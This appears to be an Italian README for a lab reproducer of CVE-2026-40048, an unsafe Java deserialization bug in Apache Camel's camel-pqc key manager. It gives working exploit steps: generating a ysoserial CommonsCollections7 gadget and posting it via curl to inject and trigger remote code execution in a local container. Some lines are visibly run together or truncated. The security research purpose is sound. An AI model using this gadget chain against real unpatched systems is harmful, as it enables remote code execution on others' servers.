
Reproducer per CVE-2026-40048: deserializzazione non sicura del FileBasedKeyLifecycleManager di Apache Camel camel-pqc (RCE)
Questo progetto dimostra una vulnerabilità di deserializzazione Java nel componente camel-pqc di Apache Camel, tracciata come CVE-2026-40048. FileBasedKeyLifecycleManager legge i file <keyId>.key dalla directory delle chiavi configurata con un ObjectInputStream grezzo e senza ObjectInputFilter; un attaccante che possa scrivere in quella directory può quindi ottenere l'esecuzione remota di codice.
Avviso di sicurezza: https://camel.apache.org/security/CVE-2026-40048.html
FileBasedKeyLifecycleManager salva le chiavi post-quantum come oggetti Java serializzati in <keyDir>/<keyId>.key. Il caricamento di una chiave deserializza quel file con un ObjectInputStream grezzo e il cast a KeyPair viene eseguito solo dopo che readObject() restituisce il risultato:
// FileBasedKeyLifecycleManager.getKey(keyId) - affected version
Path keyFile = getKeyFile(keyId); // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
KeyPair keyPair = (KeyPair) ois.readObject(); // NO ObjectInputFilter — gadget runs before the cast
...
}
Un attaccante che possa scrivere nella directory delle chiavi — tramite path traversal, permessi di volume configurati in modo errato, una pipeline di provisioning delle chiavi compromessa o un attacco tramite symlink — può inserire un oggetto serializzato appositamente costruito che viene eseguito durante un normale caricamento del ciclo di vita delle chiavi.
mvn clean package -DskipTests
docker compose up -d --build
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Benign proof: create /tmp/pwned. On JDK 21 add --add-opens to generate CC gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
<keyId>.keycurl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" --data-binary @payload.b64
# writes the bytes to /tmp/pqc-keys/mykey.key inside the container
curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget executes
# -> ">>> RCE proof — /tmp/pwned exists: true"
docker exec cve-2026-40048 ls -la /tmp/pwned
docker compose down
getKey() viene chiamata durante le normali operazioni del ciclo di vita delle chiavi (recupero delle chiavi di firma/verifica, controlli di rotazione, ecc.), quindi qualsiasi caricamento di un <keyId>.key inserito dall'attaccante attiva la deserializzazione.
FileBasedKeyLifecycleManager (volume condiviso/configurato in modo errato, path traversal, provisioning compromesso, symlink).commons-collections:3.2.1).Il pattern ObjectInputStream nel key store è stato affrontato più in generale in seguito:
Aggiornare alla 4.18.2 / 4.20.0. La correzione sostituisce l'archiviazione basata su ObjectInputStream con la codifica JSON Base64 standard PKCS#8 (chiave privata) / X.509 SubjectPublicKeyInfo (chiave pubblica).
In attesa dell'aggiornamento:
CVE-2026-40048/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ └── ExploitController.java # /inject (plant .key), /trigger (getKey -> RCE), /cleanup
└── resources/
└── application.properties
Questo riproduttore è fornito solo per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e già corretta. Non utilizzarlo contro sistemi senza un'autorizzazione esplicita.
| Proprietà | Valore |
|---|
| Componente | camel-pqc |
| Classe interessata | org.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager (getKey) |
| CWE | CWE-502: Deserializzazione di dati non attendibili |
| Impatto | Esecuzione remota di codice (RCE) |
| Versioni interessate | Dalla 4.18.0 fino alla 4.18.2 (esclusa) e dalla 4.19.0 fino alla 4.20.0 (esclusa) |
| Versioni corrette | 4.18.2, 4.20.0 |
| JIRA | CAMEL-23200 |
| Segnalato da | Andrea Cosentino (ASF), Venkatraman Kumar (Securin) |